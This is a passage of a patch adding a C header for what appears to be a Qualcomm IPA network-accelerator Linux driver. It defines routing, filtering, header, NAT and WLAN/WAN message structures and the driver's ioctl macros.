+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
+ *  rule_id as 0 the driver will assign a new rule_id
+ */
+struct ipa_flt_rule {
+        uint8_t retain_hdr;
+        uint8_t to_uc;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_hdl;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        uint32_t rt_tbl_idx;
+        uint8_t eq_attrib_type;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint16_t rule_id;
+};
+
+/**
+ * enum ipa_hdr_l2_type - L2 header type
+ * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
+ * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
+ * IPA_HDR_L2_802_3: L2 header of type 802_3
+ */
+enum ipa_hdr_l2_type {
+        IPA_HDR_L2_NONE,
+        IPA_HDR_L2_ETHERNET_II,
+        IPA_HDR_L2_802_3,
+        IPA_HDR_L2_MAX,
+};
+
+/**
+ * enum ipa_hdr_l2_type - Processing context type
+ * IPA_HDR_PROC_NONE: No processing context
+ * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
+ * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
+ * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
+ * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
+ */
+enum ipa_hdr_proc_type {
+        IPA_HDR_PROC_NONE,
+        IPA_HDR_PROC_ETHII_TO_ETHII,
+        IPA_HDR_PROC_ETHII_TO_802_3,
+        IPA_HDR_PROC_802_3_TO_ETHII,
+        IPA_HDR_PROC_802_3_TO_802_3,
+        IPA_HDR_PROC_MAX,
+};
+
+/**
+ * struct ipa_rt_rule - attributes of a routing rule
+ * @dst: dst "client"
+ * @hdr_hdl: handle to the dynamic header
+        it is not an index or an offset
+ * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
+        hdr_hdl shall be 0
+ * @attrib: attributes of the rule
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ */
+struct ipa_rt_rule {
+        enum ipa_client_type dst;
+        uint32_t hdr_hdl;
+        uint32_t hdr_proc_ctx_hdl;
+        struct ipa_rule_attrib attrib;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint8_t retain_hdr;
+};
+
+/**
+ * struct ipa_hdr_add - header descriptor includes in and out
+ * parameters
+ * @name: name of the header
+ * @hdr: actual header to be inserted
+ * @hdr_len: size of above header
+ * @type: l2 header type
+ * @is_partial: header not fully specified
+ * @hdr_hdl: out parameter, handle to header, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_hdr_add {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint32_t hdr_hdl;
+        int status;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - header addition parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be written to IPA HW also?
+ * @num_hdrs: num of headers that follow
+ * @ipa_hdr_add hdr:        all headers need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr {
+        uint8_t commit;
+        uint8_t num_hdrs;
+        struct ipa_hdr_add hdr[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
+ * in and out parameters
+ * @type: processing context type
+ * @hdr_hdl: in parameter, handle to header
+ * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_add {
+        enum ipa_hdr_proc_type type;
+        uint32_t hdr_hdl;
+        uint32_t proc_ctx_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - processing context addition parameters (support
+ * multiple processing context and commit)
+ * @commit: should processing context be written to IPA HW also?
+ * @num_proc_ctxs: num of processing context that follow
+ * @proc_ctx:        all processing context need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_proc_ctxs;
+        struct ipa_hdr_proc_ctx_add proc_ctx[0];
+};
+
+/**
+ * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
+ * header - caller can then derive the complete header
+ * @name: name of the header resource
+ * @hdr:        out parameter, contents of specified header,
+ *        valid only when ioctl return val is non-negative
+ * @hdr_len: out parameter, size of above header
+ *        valid only when ioctl return val is non-negative
+ * @type: l2 header type
+ *        valid only when ioctl return val is non-negative
+ * @is_partial:        out parameter, indicates whether specified header is partial
+ *                valid only when ioctl return val is non-negative
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_ioc_copy_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
+ * successful caller must call put to release the reference count when done
+ * @name: name of the header resource
+ * @hdl:        out parameter, handle of header entry
+ *                valid only when ioctl return val is non-negative
+ */
+struct ipa_ioc_get_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_hdr_del - header descriptor includes in and out
+ * parameters
+ *
+ * @hdl: handle returned from header add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_hdr - header deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be removed from IPA HW also?
+ * @num_hdls: num of headers being removed
+ * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
+ */
+struct ipa_ioc_del_hdr {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_del hdl[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
+ * in and out parameters
+ * @hdl: handle returned from processing context add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should processing contexts be removed from IPA HW also?
+ * @num_hdls: num of processing contexts being removed
+ * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
+  *                                no pointers
+ */
+struct ipa_ioc_del_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_proc_ctx_del hdl[0];
+};
+
+/**
+ * struct ipa_rt_rule_add - routing rule descriptor includes in
+ * and out parameters
+ * @rule: actual rule to be added
+ * @at_rear:        add at back of routing table, it is NOT possible to add rules at
+ *                the rear of the "default" routing tables
+ * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of routing rule add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_add {
+        struct ipa_rt_rule rule;
+        uint8_t at_rear;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
+ * multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
+ * rule parameters(supports multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
+ * @add_after_hdl: the rules will be added after this specific rule
+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ *                           at_rear field will be ignored when using this IOCTL
+ */
+struct ipa_ioc_add_rt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_mdfy - routing rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @rt_rule_hdl: handle to rule which supposed to modify
+ * @status:        output parameter, status of routing rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_rt_rule_mdfy {
+        struct ipa_rt_rule rule;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of routing rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_rt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_del - routing rule descriptor includes in
+ * and out parameters
+ * @hdl: handle returned from route rule add operation
+ * @status:        output parameter, status of route rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_rt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @index:        output parameter, routing table index, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl_indx {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t idx;
+};
+
+/**
+ * struct ipa_flt_rule_add - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @at_rear: add at back of filtering table?
+ * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of filtering rule add   operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_add {
+        struct ipa_flt_rule rule;
+        uint8_t at_rear;
+        uint32_t flt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
+ * multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ *        valid only when global is 0
+ * @global: does this apply to global filter table of specific IP family
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t global;
+        uint8_t num_rules;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
+ * rule parameters (supports multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ * @num_rules: number of filtering rules that follow
+ * @add_after_hdl: rules will be added after the rule with this handle
+ * @rules: all rules need to go back to back here, no pointers. at rear field
+ *           is ignored when using this IOCTL
+ */
+struct ipa_ioc_add_flt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @flt_rule_hdl: handle to rule
+ * @status:        output parameter, status of filtering rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_mdfy {
+        struct ipa_flt_rule rule;
+        uint32_t rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_flt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_del - filtering rule descriptor includes
+ * in and out parameters
+ *
+ * @hdl: handle returned from filtering rule add operation
+ * @status:        output parameter, status of filtering rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_flt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_flt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
+ * successful caller must call put to release the reference
+ * count when done
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @htl:        output parameter, handle of routing table, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_ioc_query_intf - used to lookup number of tx and
+ * rx properties of interface
+ * @name: name of interface
+ * @num_tx_props:        output parameter, number of tx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_rx_props:        output parameter, number of rx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_ext_props:        output parameter, number of ext properties
+ *                        valid only when ioctl return val is non-negative
+ * @excp_pipe:                exception packets of this interface should be
+ *                        routed to this pipe
+ */
+struct ipa_ioc_query_intf {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        uint32_t num_rx_props;
+        uint32_t num_ext_props;
+        enum ipa_client_type excp_pipe;
+};
+
+/**
+ * struct ipa_ioc_tx_intf_prop - interface tx property
+ * @ip: IP family of routing rule
+ * @attrib: routing rule
+ * @dst_pipe: routing output pipe
+ * @alt_dst_pipe: alternate routing output pipe
+ * @hdr_name: name of associated header if any, empty string when no header
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_tx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type dst_pipe;
+        enum ipa_client_type alt_dst_pipe;
+        char hdr_name[IPA_RESOURCE_NAME_MAX];
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_tx_props - interface tx propertie
+ * @name: name of interface
+ * @num_tx_props: number of TX properties
+ * @tx[0]: output parameter, the tx properties go here back to back
+ */
+struct ipa_ioc_query_intf_tx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        struct ipa_ioc_tx_intf_prop tx[0];
+};
+
+/**
+ * struct ipa_ioc_ext_intf_prop - interface extended property
+ * @ip: IP family of routing rule
+ * @eq_attrib: attributes of the rule in equation form
+ * @action: action field
+ * @rt_tbl_idx: index of RT table referred to by filter rule
+ * @mux_id: MUX_ID
+ * @filter_hdl: handle of filter (as specified by provider of filter rule)
+ * @is_xlat_rule: it is xlat flt rule or not
+ */
+struct ipa_ioc_ext_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_idx;
+        uint8_t mux_id;
+        uint32_t filter_hdl;
+        uint8_t is_xlat_rule;
+        uint32_t rule_id;
+        uint8_t is_rule_hashable;
+};
+
+/**
+ * struct ipa_ioc_query_intf_ext_props - interface ext propertie
+ * @name: name of interface
+ * @num_ext_props: number of EXT properties
+ * @ext[0]: output parameter, the ext properties go here back to back
+ */
+struct ipa_ioc_query_intf_ext_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_ext_props;
+        struct ipa_ioc_ext_intf_prop ext[0];
+};
+
+/**
+ * struct ipa_ioc_rx_intf_prop - interface rx property
+ * @ip: IP family of filtering rule
+ * @attrib: filtering rule
+ * @src_pipe: input pipe
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_rx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type src_pipe;
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_rx_props - interface rx propertie
+ * @name: name of interface
+ * @num_rx_props: number of RX properties
+ * @rx: output parameter, the rx properties go here back to back
+ */
+struct ipa_ioc_query_intf_rx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_rx_props;
+        struct ipa_ioc_rx_intf_prop rx[0];
+};
+
+/**
+ * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
+ * properties
+ * @dev_name: input parameter, the name of table
+ * @size: input parameter, size of table in bytes
+ * @offset: output parameter, offset into page in case of system memory
+ */
+struct ipa_ioc_nat_alloc_mem {
+        char dev_name[IPA_RESOURCE_NAME_MAX];
+        size_t size;
+        off_t offset;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_init - nat table initialization
+ * parameters
+ * @tbl_index: input parameter, index of the table
+ * @ipv4_rules_offset: input parameter, ipv4 rules address offset
+ * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
+ * @index_offset: input parameter, index rules offset
+ * @index_expn_offset: input parameter, index expansion rules offset
+ * @table_entries: input parameter, ipv4 rules table size in entries
+ * @expn_table_entries: input parameter, ipv4 expansion rules table size
+ * @ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_init {
+        uint8_t tbl_index;
+        uint32_t ipv4_rules_offset;
+        uint32_t expn_rules_offset;
+
+        uint32_t index_offset;
+        uint32_t index_expn_offset;
+
+        uint16_t table_entries;
+        uint16_t expn_table_entries;
+        uint32_t ip_addr;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_del - nat table delete parameter
+ * @table_index: input parameter, index of the table
+ * @public_ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_del {
+        uint8_t table_index;
+        uint32_t public_ip_addr;
+};
+
+/**
+ * struct ipa_ioc_nat_dma_one - nat dma command parameter
+ * @table_index: input parameter, index of the table
+ * @base_addr:        type of table, from which the base address of the table
+ *                can be inferred
+ * @offset: destination offset within the NAT table
+ * @data: data to be written.
+ */
+struct ipa_ioc_nat_dma_one {
+        uint8_t table_index;
+        uint8_t base_addr;
+
+        uint32_t offset;
+        uint16_t data;
+
+};
+
+/**
+ * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
+ * @entries: number of dma commands in use
+ * @dma: data pointer to the dma commands
+ */
+struct ipa_ioc_nat_dma_cmd {
+        uint8_t entries;
+        struct ipa_ioc_nat_dma_one dma[0];
+
+};
+
+/**
+ * struct ipa_msg_meta - Format of the message meta-data.
+ * @msg_type: the type of the message
+ * @rsvd: reserved bits for future use.
+ * @msg_len: the length of the message in bytes
+ *
+ * For push model:
+ * Client in user-space should issue a read on the device (/dev/ipa) with a
+ * sufficiently large buffer in a continuous loop, call will block when there is
+ * no message to read. Upon return, client can read the ipa_msg_meta from start
+ * of buffer to find out type and length of message
+ * size of buffer supplied >= (size of largest message + size of metadata)
+ *
+ * For pull model:
+ * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
+ * with a payload containing space for the ipa_msg_meta and the message specific
+ * payload length.
+ * size of buffer supplied == (len of specific message  + size of metadata)
+ */
+struct ipa_msg_meta {
+        uint8_t msg_type;
+        uint8_t rsvd;
+        uint16_t msg_len;
+};
+
+/**
+ * struct ipa_wlan_msg - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @mac_addr: mac address of wlan client
+ *
+ * wlan drivers need to pass name of wlan iface and mac address of
+ * wlan client along with ipa_wlan_event, whenever a wlan client is
+ * connected/disconnected/moved to power save/come out of power save
+ */
+struct ipa_wlan_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+};
+
+/**
+ * enum ipa_wlan_hdr_attrib_type - attribute type
+ * in wlan client header
+ *
+ * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
+ * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
+ */
+enum ipa_wlan_hdr_attrib_type {
+        WLAN_HDR_ATTRIB_MAC_ADDR,
+        WLAN_HDR_ATTRIB_STA_ID
+};
+
+/**
+ * struct ipa_wlan_hdr_attrib_val - header attribute value
+ * @attrib_type: type of attribute
+ * @offset: offset of attribute within header
+ * @u.mac_addr: mac address
+ * @u.sta_id: station id
+ */
+struct ipa_wlan_hdr_attrib_val {
+        enum ipa_wlan_hdr_attrib_type attrib_type;
+        uint8_t offset;
+        union {
+                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+                uint8_t sta_id;
+        } u;
+};
+
+/**
+ * struct ipa_wlan_msg_ex - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @num_of_attribs: number of attributes
+ * @attrib_val: holds attribute values
+ *
+ * wlan drivers need to pass name of wlan iface and mac address
+ * of wlan client or station id along with ipa_wlan_event,
+ * whenever a wlan client is connected/disconnected/moved to
+ * power save/come out of power save
+ */
+struct ipa_wlan_msg_ex {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_of_attribs;
+        struct ipa_wlan_hdr_attrib_val attribs[0];
+};
+
+struct ipa_ecm_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        int ifindex;
+};
+
+/**
+ * struct ipa_wan_msg - To hold information about wan client
+ * @name: name of the wan interface
+ *
+ * CnE need to pass the name of default wan iface when connected/disconnected.
+ * netmgr need to pass the name of wan eMBMS iface when connected.
+ */
+struct ipa_wan_msg {
+        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
+        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
+        enum ipa_ip_type ip;
+};
+
+/**
+ * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
+ * @resource_name: name of dependent resource
+ * @depends_on_name: name of its dependency
+ */
+struct ipa_ioc_rm_dependency {
+        enum ipa_rm_resource_name resource_name;
+        enum ipa_rm_resource_name depends_on_name;
+};
+
+struct ipa_ioc_generate_flt_eq {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+};
+
+/**
+ * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
+ * @mux_id: mux id of wan
+ */
+struct ipa_ioc_write_qmapid {
+        enum ipa_client_type client;
+        uint8_t qmap_id;
+};
+
+enum ipacm_client_enum {
+        IPACM_CLIENT_USB = 1,
+        IPACM_CLIENT_WLAN,
+        IPACM_CLIENT_MAX
+};
+/**
+ *   actual IOCTLs supported by IPA driver
+ */
+#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_HDR, \
+                                        struct ipa_ioc_add_hdr *)
+#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_HDR, \
+                                        struct ipa_ioc_del_hdr *)
+#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE, \
+                                        struct ipa_ioc_add_rt_rule *)
+#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
+                                        struct ipa_ioc_add_rt_rule_after *)
+#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_RT_RULE, \
+                                        struct ipa_ioc_del_rt_rule *)
+#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE, \
+                                        struct ipa_ioc_add_flt_rule *)
+#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
+                                        struct ipa_ioc_add_flt_rule_after *)
+#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_FLT_RULE, \
+                                        struct ipa_ioc_del_flt_rule *)
+#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_COMMIT_HDR)
+#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_RESET_HDR)
+#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_RESET_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_FLT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_RESET_FLT, \
+                        enum ipa_ip_type)
+#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_DUMP)
+#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_RT_TBL, \
+                                struct ipa_ioc_get_rt_tbl *)
+#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_RT_TBL, \
+                                uint32_t)
+#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_COPY_HDR, \
+                                struct ipa_ioc_copy_hdr *)
+#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF, \
+                                struct ipa_ioc_query_intf *)
+#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
+                                struct ipa_ioc_query_intf_tx_props *)
+#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
+                                        struct ipa_ioc_query_intf_rx_props *)
+#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
+                                        struct ipa_ioc_query_intf_ext_props *)
+#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HDR, \
+                                struct ipa_ioc_get_hdr *)
+#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_HDR, \
+                                uint32_t)
+#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ALLOC_NAT_MEM, \
+                                struct ipa_ioc_nat_alloc_mem *)
+#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_INIT_NAT, \
+                                struct ipa_ioc_v4_nat_init *)
+#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NAT_DMA, \
+                                struct ipa_ioc_nat_dma_cmd *)
+#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_DEL_NAT, \
